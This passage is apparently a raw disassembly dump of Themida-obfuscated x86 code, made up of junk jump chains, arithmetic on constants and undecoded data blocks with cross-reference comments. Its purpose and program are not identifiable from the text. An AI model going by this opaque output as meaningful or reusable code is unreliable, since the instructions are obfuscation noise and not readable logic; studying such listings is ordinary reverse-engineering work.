4ECh, 24148900h, 1431868h, 2434FF58h, 4C4815Ah dd 0F7000000h, 0D3B850DAh, 214FE06Bh, 0E95558C2h, 0FFFFC343h dd 87C9EF81h, 0FA29101Dh, 83243C8Bh, 0D18904C4h, 0B58EE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D912: ; CODE XREF: Themida_:00557B30j push ecx mov ecx, 35F1145Ch xor ecx, 28945C75h jmp loc_55F768 ; --------------------------------------------------------------------------- byte_55D923 db 66h ; DATA XREF: Themida_:005532D0o dd 6824048Bh, 1728h, 11ADE9h, 24148900h, 2E3DABBAh, 0FDE9554Fh dd 0FFFFFFEFh, 815A2434h, 4C4h, 1E2B6800h, 0C890000h, 7A03B924h dd 0BD555E81h, 4B37ABDh, 495DE909h, 328FE981h, 0F3E9FF80h dd 0B1000019h, 80D9F6EEh, 0B6E9E1E9h, 5A00000Eh, 4C281h dd 0B9510000h, 4, 0C8BCA01h, 0E3895324h, 4C381h, 0C3830000h dd 241C8704h, 0FFC9ABE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D99D: ; CODE XREF: Themida_:0055BD55j mov edi, [esp] add esp, 4 mov eax, [esp] add esp, 4 sub eax, 0DF10B35h push ebx mov ebx, 768309EAh add ebx, 54A70E5Fh jmp loc_557C5E ; --------------------------------------------------------------------------- byte_55D9C5 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00553288o dd 0C8BDE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D9CE: ; CODE XREF: Themida_:0055F679j add edx, ebp pop ebp sub eax, 232E5611h add eax, edx jmp loc_55D5C6 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 54000000h, 0E924048Fh, 1BFh, 44F180h, 686659CBh, 89664A81h dd 0B5512404h, 67E952AEh db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DA03: ; CODE XREF: Themida_:00553C88j movzx eax, al lea eax, [edi+eax*4] push 1C2Ah mov [esp], edi mov edi, esp push esi mov esi, 18740802h jmp loc_55F218 ; --------------------------------------------------------------------------- dw 0C483h dd 14316602h, 14336624h, 0D0E2E924h, 48FFFFFh, 0D0305C24h dd 0EEEB805Ah, 0FF906EE9h, 0C3815EFFh, 2A2655ABh, 0FF6E6DE9h db 0FFh byte_55DA49 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00553410o dd 0FFA97BE9h, 2434FFFFh, 0D028E958h, 0B551FFFFh, 0A6A3E994h dd 0E289FFFFh, 6EA1BD55h, 57E9552Fh db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DA6F: ; CODE XREF: Themida_:00555DEFj push 13BEh mov [esp], ebx push edx mov ebx, [esp] add esp, 4 mov edx, [esp] add esp, 4 push ebx jmp loc_55E162 ; --------------------------------------------------------------------------- dd 5A89E95Ch, 0F201FFFFh, 0FFA2DCE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DA9D: ; CODE XREF: Themida_:0055FB94j add esi, 4 jmp loc_555B58 ; --------------------------------------------------------------------------- byte_55DAA5 db 81h, 0ECh, 4 ; DATA XREF: Themida_:005532E4o dd 0E9000000h, 0FFFFC73Dh, 59A4EA81h, 0D6299853h, 0E9DE015Ah dd 0FFFFFD44h, 4EC81h, 4890000h, 0A589E924h, 0B951FFFFh dd 389D4E0Bh, 0C153FBFh, 0BEE8E926h, 0C681FFFFh, 4, 0FF6602E9h dd 240C33FFh, 33240C31h, 685C240Ch, 5221h, 68241C89h, 2FEE7CB6h dd 0A0E9E95Bh, 0E95CFFFFh, 0FFFFA751h dword_55DB0C dd 24048B66h, 235668h, 24048900h, 5756E089h, 4C180ABFh ; DATA XREF: Themida_:005532ECo dd 0E9FE8940h, 0FFFFE12Bh, 0FFE9F529h, 68FFFFA7h, 6889h dd 56243C89h, 0D449D368h, 7B9DE939h, 4BBFFFFh, 0E9000000h dd 0FFFF984Dh ; --------------------------------------------------------------------------- loc_55DB4C: ; CODE XREF: Themida_:0055C007j xor ecx, 0A43739D1h sub eax, 70AB6DC5h jmp loc_55D727 ; --------------------------------------------------------------------------- dd 6DD1C281h, 4BE92865h, 2CFFFF9Eh, 0A96CE91Ah, 5751FFFFh dd 0F12702BFh, 2703B951h, 0F92951F1h, 0FFCE6FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DB81: ; CODE XREF: Themida_:0055F7FFj shr eax, 6 sub eax, 10FC4BBh mov edi, eax pop eax sub edx, 31517578h add edx, edi add edx, 31517578h mov edi, [esp] add esp, 4 xchg edx, [esp] jmp loc_55545B ; --------------------------------------------------------------------------- db 83h dd 59042404h, 79CF68h, 241C8900h, 8904EC83h, 0BB53240Ch dd 64F1FB4h, 28F38143h, 8131AB38h, 0E713BDEBh, 0E79BE927h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DBD6: ; CODE XREF: Themida_:00555986j add esp, 4 and eax, ebp mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_557F85 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_557A2F ; --------------------------------------------------------------------------- byte_55DBFB db 0FFh ; DATA XREF: Themida_:0055347Co dd 34FF2434h, 89525824h, 0DEA4E9E2h, 2505FFFFh, 0E955DA34h dd 0FFFF738Ah, 4EC81h, 0C890000h, 6334E924h, 3B66FFFFh dd 52E99CC8h, 0F7FFFF72h, 9BBD55D2h, 0F7015A7Ah, 0F5DDE9DDh dd 0C89FFFFh, 0B1A2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DC42: ; CODE XREF: Themida_:00555D14j mov [esp], esi push 6704h mov [esp], ebx mov ebx, 3D653C54h mov esi, 3D653C50h xor esi, ebx jmp loc_5586E7 ; --------------------------------------------------------------------------- loc_55DC5E: ; CODE XREF: Themida_:0055B62Aj push 0FFFFFFFFh mov ebx, [esp] jmp loc_555399 ; --------------------------------------------------------------------------- db 58h dd 0C3FEEBD0h, 0FFF324E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DC75: ; CODE XREF: Themida_:00557F5Aj pop ebx push esi push dword ptr [esp+4] pop esi jmp loc_553D3F ; --------------------------------------------------------------------------- loc_55DC81: ; CODE XREF: Themida_:00559D58j mov edi, 692C6D09h add esi, 7AE4006h add esi, edi sub esi, 7AE4006h pop edi sub ebp, esi pop esi jmp loc_555599 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 57000000h, 0FFE05AE9h, 80D5F6FFh, 0C58068EDh, 0E9EE884Ah dd 0FFFFF7E6h ; --------------------------------------------------------------------------- loc_55DCB8: ; CODE XREF: Themida_:0055B1E4j pop ebp mov [edi+20h], ebx mov ebx, [esp] add esp, 4 add [edi+20h], esi push dword ptr [esp] pop esi push edx push esp jmp loc_558FA9 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812434h, 4, 0FF5F69E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DCE1: ; CODE XREF: Themida_:0055492Dj mov [esp], eax push 176D1ECDh pop eax shr eax, 7 shr eax, 2 push edx push ebp mov ebp, 6F1D7479h mov edx, 612B46E2h xor edx, ebp pop ebp push ebx mov ebx, 65410D78h sub ebx, 583842F1h jmp loc_55C3C8 ; --------------------------------------------------------------------------- loc_55DD10: ; CODE XREF: Themida_:0055AAC1j push ebx mov ebx, esp add ebx, 4 push edi mov edi, 5B6D6C0Eh xor edi, 5B6D6C0Ah sub ebx, edi pop edi xchg ebx, [esp] pop esp jmp loc_55B8CC ; --------------------------------------------------------------------------- db 56h, 0F7h, 1Ch dd 0D6F75E24h, 0FF695FE9h, 0E9F701FFh, 0FFFF83E3h, 0E9241489h dd 0FFFFBE29h, 4C481h, 0A62C0000h, 0FF8A5CE9h, 243C8BFFh dd 8F04C483h, 0D8E92404h, 80FFFF6Bh, 0E95188F4h, 0FFFF65A2h ; --------------------------------------------------------------------------- loc_55DD70: ; CODE XREF: Themida_:0055CA0Fj push esi mov esi, esp jmp loc_5541B8 ; --------------------------------------------------------------------------- dd 0FE04C483h, 3E3C0C3h, 0FFF35FE9h, 241C31FFh, 5C241C33h dd 0FF609EE9h, 4C481FFh, 28000000h, 0B65266D8h, 0A75CE9F5h dd 0F781FFFFh, 1F867A3h, 0FF5D07E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DDAD: ; CODE XREF: Themida_:0055581Fj pop ecx push dword ptr [esp] jmp loc_556101 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 5585450h, 4, 42Dh, 4EC8300h, 0FF240489h, 58042474h dd 5C24048Fh, 68240C89h, 2964h, 0BA241489h, 3B6E3FD6h dd 5BA5257h, 897D0540h, 11FBE9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DDF6: ; CODE XREF: Themida_:005564A9j add ebx, 0D40085C3h push edi mov edi, esp add edi, 4 jmp loc_55E3E8 ; --------------------------------------------------------------------------- loc_55DE0A: ; CODE XREF: Themida_:00553E84j push dword ptr [esp] jmp loc_55B447 ; --------------------------------------------------------------------------- dw 4168h dd 89000073h, 50E92414h, 81FFFF80h, 3631EF5h, 5DEF2977h dd 815FF989h, 0C25830EEh, 0E9CE0176h, 0FFFF630Dh, 0D789575Bh dd 5A5FFB89h, 5953CB29h, 7E9C15Bh, 0D8B0E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DE4E: ; CODE XREF: Themida_:0055C331j push ebx mov ebx, 16E22DCDh xor edx, ebx mov ebx, [esp] jmp loc_553AAE ; --------------------------------------------------------------------------- dw 8759h dd 248B242Ch, 2404D224h, 56B1E99Ch, 0B1B9FFFFh, 295E8548h dd 714DE9CDh, 6868FFFFh, 8900000Fh, 0E189240Ch, 0FFE79AE9h dd 84B850FFh, 0F701893Ah, 0B97135D8h, 0C729D318h, 681EE958h dd 248BFFFFh, 5727E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DEA6: ; CODE XREF: Themida_:00559F12j and ebx, 6E350609h dec ebx jmp loc_55AC44 ; --------------------------------------------------------------------------- dw 875Eh dd 895C243Ch, 0D1E92414h, 8BFFFFDCh, 4282424h, 54E99C24h dd 0FFFFFF56h, 575B2434h, 0C7815F54h, 4, 0E904C783h, 0FFFF9520h dword_55DEE0 dd 24048B66h, 136668h, 241C8900h, 0E036E954h, 1489FFFFh ; DATA XREF: Themida_:00553404o dd 59E5E924h, 34FFFFFFh, 89525E24h, 5922E9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DF06: ; CODE XREF: Themida_:00559BFCj pop ecx and eax, esi push dword ptr [esp] pop esi add esp, 4 jmp loc_553F39 ; --------------------------------------------------------------------------- dd 0E959CA89h, 0FFFFB5F1h, 7E9C166h, 7AF18166h, 0F181665Bh dd 29666167h, 0CA28E9CBh, 0E3C0FFFFh, 1CCCE903h, 0D8010000h dd 6546CA2Dh, 45C3687Bh, 0C890000h, 499EB924h, 0F72D3871h dd 172B606h, 7A66E9C8h, 0D529FFFFh, 0DB0CE95Ah, 0E789FFFFh dd 0FFBC9FE9h, 4B9FFh, 0F3E90000h, 8BFFFF74h, 0EC81240Ch dd 4, 89240489h, 405E0h, 4050000h, 87000000h, 315C2404h dd 4EC81C3h, 89000000h, 0EC812414h, 4, 0BE243489h, 51AE0B46h dd 0AE0B72BAh, 0E9F22951h, 0FFFF6867h, 0CA68E689h, 8900007Eh dd 6857240Ch, 5F7B33E2h, 0F1E9555Fh db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DFCF: ; CODE XREF: Themida_:00553A31j add ch, al mov eax, [esp] add esp, 4 add al, ch jmp loc_55353F ; --------------------------------------------------------------------------- byte_55DFE1 db 0F6h, 1Ch, 24h ; DATA XREF: Themida_:00553320o dd 5535E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DFEA: ; CODE XREF: Themida_:00558218j sub eax, 170E01C6h mov ecx, [eax] jmp loc_555CED ; --------------------------------------------------------------------------- loc_55DFF6: ; CODE XREF: Themida_:005541C2j inc eax jmp loc_55AAB9 ; --------------------------------------------------------------------------- dd 2822C580h, 8317E9EAh, 0ED81FFFFh, 0D0414986h, 0E95DE921h dd 6B2h, 0FD7B7D25h, 0C903564h, 0C3293B98h, 0BF575558h dd 68863113h, 0FF5C60E9h, 0C58851FFh, 0FFE47CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E035: ; CODE XREF: Themida_:00554AD3j pop esp add eax, 16251FDBh jmp loc_558CC8 ; --------------------------------------------------------------------------- loc_55E040: ; CODE XREF: Themida_:0055C61Ej push eax mov eax, 8B94856h add esi, eax pop eax and esi, 1ED23F27h jmp loc_555DFE ; --------------------------------------------------------------------------- loc_55E054: ; CODE XREF: Themida_:0055F202j pop ebx and eax, ecx push dword ptr [esp] pop ecx push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_553FB3 ; --------------------------------------------------------------------------- dd 0F281DAF7h, 2ED803A8h, 685FE281h, 0C2815B27h, 0EFF9BFE5h dd 1066E9h db 0 byte_55E089 db 66h, 0FFh, 32h ; DATA XREF: Themida_:00553398o dd 0FF548EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E091: ; CODE XREF: Themida_:0055E9AEj push edi push eax mov eax, 1AB47669h mov edi, eax jmp loc_553CAC ; --------------------------------------------------------------------------- loc_55E09F: ; CODE XREF: Themida_:0055556Bj pop ebp jmp loc_55AE62 ; --------------------------------------------------------------------------- db 57h, 54h, 8Bh dd 87E9243Ch, 1FFFF59h, 0B8502404h, 7E5E3C9Ah, 4246C81h dd 4C332B42h, 4244429h, 0FFCE27E9h, 0EF814FFFh, 0F7F6DFFBh dd 515FF989h, 17F1E9h, 240C8B00h, 4C481h, 0C3280000h, 0C3805866h dd 51C380DBh, 64E9C300h, 87FFFF75h, 87D6F7F3h, 99EB81F3h dd 290B3D8Bh, 241C8BDAh, 81E28952h, 4C2h, 4C28100h, 0E9000000h dd 0FFFFC839h ; --------------------------------------------------------------------------- loc_55E118: ; CODE XREF: Themida_:00558E13j push dword ptr [esp+4] pop edx jmp loc_55F5D9 ; --------------------------------------------------------------------------- word_55E122 dw 8B66h ; DATA XREF: Themida_:00553274o dd 8C68240Ch, 89000017h, 0E2892414h, 9D66E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E136: ; CODE XREF: Themida_:0055C98Ej jmp loc_55351F ; --------------------------------------------------------------------------- byte_55E13B db 0ADh ; DATA XREF: Themida_:0055335Co dd 0FFBEF3E9h, 5EF281FFh, 812C395Fh, 270A54F2h, 0C2814216h dd 0FFFFFFFFh, 0FFE965E9h, 89CA89FFh, 5FADE9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E162: ; CODE XREF: Themida_:0055DA8Bj push dword ptr [esp+4] pop ebx jmp loc_553B58 ; --------------------------------------------------------------------------- dd 582434FFh, 4C481h, 11050000h, 0E93D6921h, 0FFFFF162h ; --------------------------------------------------------------------------- loc_55E180: ; CODE XREF: Themida_:0055F618j pop ecx or ecx, edi pop edi shr ecx, 1 shr ecx, 8 inc ecx sub esp, 4 mov [esp], esi jmp loc_557479 ; --------------------------------------------------------------------------- dd 0B9240C89h, 74CD4AACh, 157E9h, 243C8900h, 0FFCB53E9h dd 24248BFFh, 24042166h, 5365E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E1BA: ; CODE XREF: Themida_:0055650Cj pop dword ptr [esp] pop esp mov [esp], eax mov eax, 20h add eax, 4C667598h add eax, 40784718h add eax, edi sub eax, 40784718h sub eax, 4C667598h jmp loc_553ADA ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 614E9h, 240C3100h, 5C240C33h, 9C240CFFh, 0FF5326E9h dd 46BD55FFh, 0E900D755h, 0FFFFB452h, 0CC307AB4h, 5B83E959h dd 478FFFFFh, 206F8120h, 2716582Eh, 8324148Bh, 7FE904C4h dd 83FFFF74h, 0EFE904C4h, 89000002h, 4C681E6h, 55000000h dd 0FFB032E9h, 2AEA81FFh, 160D73Dh, 2AC281F2h, 5E60D73Dh dd 4C281h, 14330000h, 0E09AE924h, 5266FFFFh, 0F02802B6h dd 0A12C5A66h, 9FB25266h, 0EFE9872Ch db 5Eh, 2 dup(0FFh) byte_55E26B db 0FFh ; DATA XREF: Themida_:005534ACo dd 34FF2434h, 24048B24h, 4C481h, 0C4830000h, 222C6804h dd 6DE90000h, 1FFFF7Bh, 26E981F9h, 5F10B763h, 8B240C87h dd 8B662424h, 0A468240Ch, 0E9000076h, 0FFFFB625h ; --------------------------------------------------------------------------- loc_55E2A4: ; CODE XREF: Themida_:005599E5j xor ebx, edx pop edx jmp loc_556161 ; --------------------------------------------------------------------------- dd 0B3241C89h, 2EBC018h, 0FF713CE9h, 0BCEB81FFh, 29231D53h dd 0BCC381F3h, 5E231D53h, 81C3015Eh, 0DC5818C3h, 0B243E960h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E2D6: ; CODE XREF: Themida_:0055E377j xor eax, 28D427A6h push 1405h mov [esp], ebx jmp loc_55613E ; --------------------------------------------------------------------------- loc_55E2E8: ; CODE XREF: Themida_:0055ADAAj shr eax, 0Bh xor ecx, eax push esi push ecx mov ecx, esp add ecx, 4 jmp loc_557DED ; --------------------------------------------------------------------------- dd 41D1F749h, 0D7F7F987h, 0D1F7F987h, 0B553E981h, 0CA018B32h dd 24148759h, 8424248Bh, 0E99CC8h db 52h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E31F: ; CODE XREF: Themida_:00557EE2j add eax, ebx jmp loc_55A0CC ; --------------------------------------------------------------------------- dw 0E280h dd 77EA8088h, 0E957E280h, 0FFFF9756h, 0EF81DF01h, 440A6EBAh dd 8872E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E342: ; CODE XREF: Themida_:00559432j push ebp mov ebp, esp jmp loc_557B2A ; --------------------------------------------------------------------------- dw 0BB53h dd 6F1C4FDAh, 0FFE5F4E9h db 0FFh byte_55E355 db 8Fh, 47h, 40h ; DATA XREF: Themida_:0055337Co dd 0FF51C2E9h, 2434FFFFh, 83242C8Bh, 0E95004C4h, 0FFFF54F1h ; --------------------------------------------------------------------------- loc_55E36C: ; CODE XREF: Themida_:0055F270j mov eax, 28D427A6h xor [esp+4], eax pop eax pop eax jmp loc_55E2D6 ; --------------------------------------------------------------------------- dd 4C481h, 0EC810000h, 4, 0BD242C89h, 51120192h, 1EF4F581h dd 3CE955E1h db 81h, 2 dup(0FFh) byte_55E39B db 66h ; DATA XREF: Themida_:005532E8o dd 56240C8Bh, 0EC81E689h, 4, 51243C89h, 572D9668h, 0BF57595Bh dd 4A8E497Ch, 8106EFC1h, 0A53FBCC7h, 8FF78156h, 1F367AAh dd 0EC835FF9h, 242C8904h, 0FFDA60E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E3D5: ; CODE XREF: Themida_:0055527Ej not al push cx mov ch, 0Bh jmp loc_55ABF8 ; --------------------------------------------------------------------------- dword_55E3E0 dd 0E932FF64h, 0FFFF5137h ; DATA XREF: Themida_:005534C8o ; --------------------------------------------------------------------------- loc_55E3E8: ; CODE XREF: Themida_:0055DE05j sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], ebx jmp loc_555E7D ; --------------------------------------------------------------------------- dd 8B2434FFh, 89572414h, 4C781E7h, 81000000h, 4C7h, 0BB16E900h dd 48BFFFFh, 4C48324h, 0FFE736E9h, 0E38953FFh, 4C381h dd 0C3830000h, 241C8704h, 4C6815Ch, 57000000h, 4BFh, 89E3E900h dd 0C8BFFFFh, 72B9E924h, 0CA81FFFFh, 4E725844h, 986E9h dd 68D6F700h, 1A0h, 0B9240C89h, 5FCB036Fh, 24C4C181h, 0E1814E8Eh dd 4791624Ch, 354AC181h, 0E9560529h, 0FFFFE471h ; --------------------------------------------------------------------------- loc_55E480: ; CODE XREF: Themida_:00555CC4j pop edi sub esp, 4 mov [esp], edx jmp loc_558634 ; --------------------------------------------------------------------------- byte_55E48F db 66h ; DATA XREF: Themida_:00553498o dd 5124048Bh, 0FFF544E9h, 242C89FFh, 2BDh, 0E9EA0100h dd 0FFFFE545h, 4EC835Eh, 0BD242C89h, 6674069Ch, 2C8BEB29h dd 4C48324h, 0B60F66h, 1E1568h, 589BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E4CA: ; CODE XREF: Themida_:00558468j push esi mov esi, 32B772CBh add esi, 0CD488D39h sub ebp, esi pop esi xchg ebp, [esp] pop esp jmp loc_559FA7 ; --------------------------------------------------------------------------- loc_55E4E2: ; CODE XREF: Themida_:0055A46Bj push dword ptr [esp] pop ebp push 69ACh jmp loc_559BEB ; --------------------------------------------------------------------------- dd 0F475E951h, 0E189FFFFh, 0FF8A63E9h, 0C78158FFh, 4E8664Ch dd 0EF81CF01h, 4E8664Ch, 81240C8Bh, 4C4h, 0BBB8E900h, 0EC83FFFFh dd 240C8904h, 0FF6ADAE9h, 3EDC1FFh, 1BA52h, 0D5290000h dd 8D9FE95Ah, 0E089FFFFh, 4D1E9h, 4B3F6800h, 3AE90000h dd 5CFFFFC4h, 4B30F66h, 0CCE99C24h, 1FFFF4Fh, 0FF4EE9F3h dd 0CF89FFFFh, 8BFB0159h, 0C483243Ch, 4C38304h, 2474FF53h dd 48F5B04h, 0C4815C24h, 4, 0D468F9F7h, 89000022h, 0E2892414h dd 4EC81h, 2C890000h, 4BD24h, 62E90000h, 68FFFFD8h, 48D5h dd 0BD242C89h, 2, 0A8E95655h, 29000007h, 9346E9EBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E5B2: ; CODE XREF: Themida_:0055A14Aj mov eax, 4724315Dh neg eax xor eax, 0E990CEABh mov edi, eax mov eax, [esp] add esp, 4 shr edi, 7 sub edi, 23BD7CC9h shr edi, 2 shr edi, 3 shl edi, 1 sub edi, 0DCE518Eh jmp loc_55AA10 ; --------------------------------------------------------------------------- db 0BDh, 0D6h, 49h dd 0CD8149E2h, 3E16728Bh, 170CF581h, 0E82939A5h, 0FF7546E9h dd 68FFh, 2C810000h, 9172D024h, 2404291Eh, 0FF7ACAE9h dd 4EC83FFh, 0FF9010E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E619: ; CODE XREF: Themida_:0055C70Fj add edx, 4 push esi jmp loc_55EC7C ; --------------------------------------------------------------------------- db 81h, 0E3h, 0F0h dd 0C10F7844h, 0C38104EBh, 647D06C8h, 1EB81h, 0E9570000h dd 0FFFF60B0h ; --------------------------------------------------------------------------- loc_55E640: ; CODE XREF: Themida_:005576E9j push ebx push edi push ecx mov ecx, 6E452CFBh or ecx, 285E61DCh jmp loc_5552A1 ; --------------------------------------------------------------------------- db 21h dd 21E91C6Fh, 5AFFFFABh, 8158C300h, 4ECh, 24148900h, 0E28004B2h dd 16C280C9h, 0FFFCB1E9h, 0E08950FFh, 405h, 0E9BE5600h dd 8115BA67h, 45981BC6h, 789B05EAh, 0F0013660h, 377BBB53h dd 0C3810ADAh, 29AA1C7Ch, 59FFCB81h, 0F3817716h, 41F62364h dd 5E5BD829h, 31240433h, 2BE92404h, 0FFFF66h, 0B60F58E3h dd 148B66C0h, 8D42E924h, 0C181FFFFh, 0AEFDFAF1h, 5659CE01h dd 42474FFh, 8124348Bh, 4C4h, 24048F00h, 0FE24248Bh, 0E99C2404h dd 0FFFF4E33h ; --------------------------------------------------------------------------- loc_55E6EC: ; CODE XREF: Themida_:00554CEEj mov edx, 79F75694h dec edx push edi mov edi, 41C53A6Ch sub edi, 4BC94ECBh shl edi, 6 inc edi neg edi and edi, 2AE67C48h add edi, 762E15ECh jmp loc_55888A ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 24048B04h, 4C481h, 48F0000h, 8B665C24h, 0F7E9240Ch dd 89FFFF9Ch, 4C381E3h, 81000000h, 4C3h, 241C8700h, 5224248Bh dd 2BAh, 5AD60100h, 0FFD7CAE9h, 0B0E781FFh, 813AD915h dd 0FFEB84C7h, 8BFA01CDh, 6DE9243Ch db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E767: ; CODE XREF: Themida_:00553B53j push esi mov esi, 0F33BF5h mov ebp, 33F59DCh sub ebp, esi pop esi or ecx, ebp pop ebp add ecx, 2AD27B0Dh jmp loc_5596E6 ; --------------------------------------------------------------------------- loc_55E783: ; CODE XREF: Themida_:00553980j mov ecx, ebx jmp loc_55C0AA ; --------------------------------------------------------------------------- dw 0F280h dd 25E28039h, 8033EA80h, 0D188C3F2h, 0D3FE95Ah, 0ED800000h dd 8E5C0FFh, 0FFACB6E9h, 875F5BFFh, 248B242Ch, 0E930FF24h dd 0FFFF4D67h, 0E9F93158h, 0FFFF69D3h ; --------------------------------------------------------------------------- loc_55E7C0: ; CODE XREF: Themida_:0055FB3Ej mov [esp], esi push 4461h mov [esp], edx mov edx, 6B3E1249h mov esi, 6B3E124Dh xor esi, edx push dword ptr [esp] pop edx jmp loc_55D418 ; --------------------------------------------------------------------------- dd 0F6E9CB01h, 8BFFFFA8h, 0C483243Ch, 0FD442D04h, 0C2892BA3h dd 5724048Bh, 0FF4FA1E9h, 0C4835DFFh, 6DE0E904h, 0C283FFFFh dd 0E6895602h, 4C681h, 0EE830000h, 24348704h, 2414895Ch dd 42474FFh, 0BE67E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E826: ; CODE XREF: Themida_:005572F5j not ecx jmp loc_556390 ; --------------------------------------------------------------------------- db 80h, 0E9h, 0FFh dd 0EE6EE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E836: ; CODE XREF: Themida_:0055966Dj mov ebx, ecx pop ecx add ebx, 7C284E3Ch add ebx, eax sub ebx, 7C284E3Ch push ebp jmp loc_559E55 ; --------------------------------------------------------------------------- db 0BDh, 4, 0 dd 44810000h, 350F0424h, 6C017487h, 6C810424h, 350F0424h dd 0FF5D7487h, 815F2434h, 4C4h, 57B95100h, 0E92BC06Fh dd 0FFFFEA38h, 0D0BCEF81h, 0FB3179D8h, 8BD8315Fh, 0E955241Ch dd 0FFFFEB38h, 83243C8Bh, 0C08304C4h, 63A2E902h, 0F389FFFFh dd 0BBE6E95Eh, 0C681FFFFh, 4, 4BD55h, 0EE290000h, 2434875Dh dd 242C895Ch, 3766BE56h, 0E68148FAh, 4E516429h, 85E9D6F7h db 0AEh, 2 dup(0FFh) byte_55E8CF db 66h ; DATA XREF: Themida_:005533B8o dd 68240C8Bh, 507Ah, 89241489h, 846853E2h, 89000024h, 7ABA2414h dd 0C123931Bh, 0C28108EAh, 0FFDC6CE9h, 15AD389h, 2434FFDAh dd 4C4815Bh, 0E9000000h, 0FFFFFEFEh, 0DA337968h, 0BF575837h dd 6EB96274h, 36E9F829h, 89FFFF7Dh, 0E9562404h, 0FFFF7E14h ; --------------------------------------------------------------------------- loc_55E924: ; CODE XREF: Themida_:0055CF30j and ecx, eax push dword ptr [esp] push dword ptr [esp] jmp loc_55837A ; --------------------------------------------------------------------------- byte_55E931 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005532D8o dd 4EC8124h, 0E9000000h, 0FFFF6D0Fh, 679BCE81h, 0F6817E4Fh dd 0FF4FEF9Dh, 0FF566CE9h, 28E4BBFFh, 0EBC1044Fh, 0D0C38104h dd 8176FC7Ch, 542F1EEBh, 0E9D88924h, 0FFFFEC76h ; --------------------------------------------------------------------------- loc_55E96C: ; CODE XREF: Themida_:005573C0j mov cl, dh pop edx xor cl, ah pop eax jmp loc_55D862 ; --------------------------------------------------------------------------- db 66h dd 0F001665Bh, 0FF52BFE9h, 4C781FFh, 0E9000000h, 0FFFF615Ch dd 8704C683h, 815C2434h, 982534EBh, 81D3015Ch, 982534C3h dd 0E9505A5Ch, 0FFFFD50Ch ; --------------------------------------------------------------------------- loc_55E9A8: ; CODE XREF: Themida_:00554097j mov eax, [esp] add esp, 4 jmp loc_55E091 ; --------------------------------------------------------------------------- loc_55E9B3: ; CODE XREF: Themida_:00557B14j neg ebp and ebp, 73727B41h add ebp, 8CFDA503h add esi, ebp pop ebp xchg esi, [esp] mov esp, [esp] push dword ptr [esp] pop ecx sub esp, 4 mov [esp], esi jmp loc_55D7B7 ; --------------------------------------------------------------------------- loc_55E9D9: ; CODE XREF: Themida_:0055A25Fj mov ebx, [esp] add esp, 4 jmp loc_558D56 ; --------------------------------------------------------------------------- loc_55E9E4: ; CODE XREF: Themida_:00553EEEj mov ecx, [esp] push ecx jmp loc_55830B ; --------------------------------------------------------------------------- db 5Bh, 81h, 0C3h dd 55307D7Ch, 245C0158h, 34FF5B04h, 24148B24h, 0E904C483h dd 0FFFF900Dh, 69E957h, 4050000h, 0E9000000h, 0FFFFE75Dh dd 0CA3AE953h, 0CFBDFFFFh, 0F700465Bh, 81DDF7DDh, 1A622FF5h dd 24C58152h, 1ADA3C6h, 0C875DE9h, 0E9815C24h, 7D674C2Ch dd 0FF567CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EA45: ; CODE XREF: Themida_:005580A6j push 6BFAh mov [esp], esi jmp loc_55C259 ; --------------------------------------------------------------------------- dw 55Fh dd 616D2830h, 302DF001h, 5E616D28h, 5C240487h, 0FF52CDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EA69: ; CODE XREF: Themida_:00553CEDj and eax, edx push dword ptr [esp] pop edx add esp, 4 jmp loc_558C33 ; --------------------------------------------------------------------------- db 0BFh dd 17184F29h, 0A8E9FA89h, 68FFFFE8h, 2B24h, 81243C89h dd 4ECh, 48F5400h, 0B2E95524h, 68FFFFFDh, 125Fh, 0E9240C89h dd 0FFFF4A77h, 6311BF57h, 15E976FAh, 1FFFF50h, 14335FFAh dd 0D2D0E924h db 2 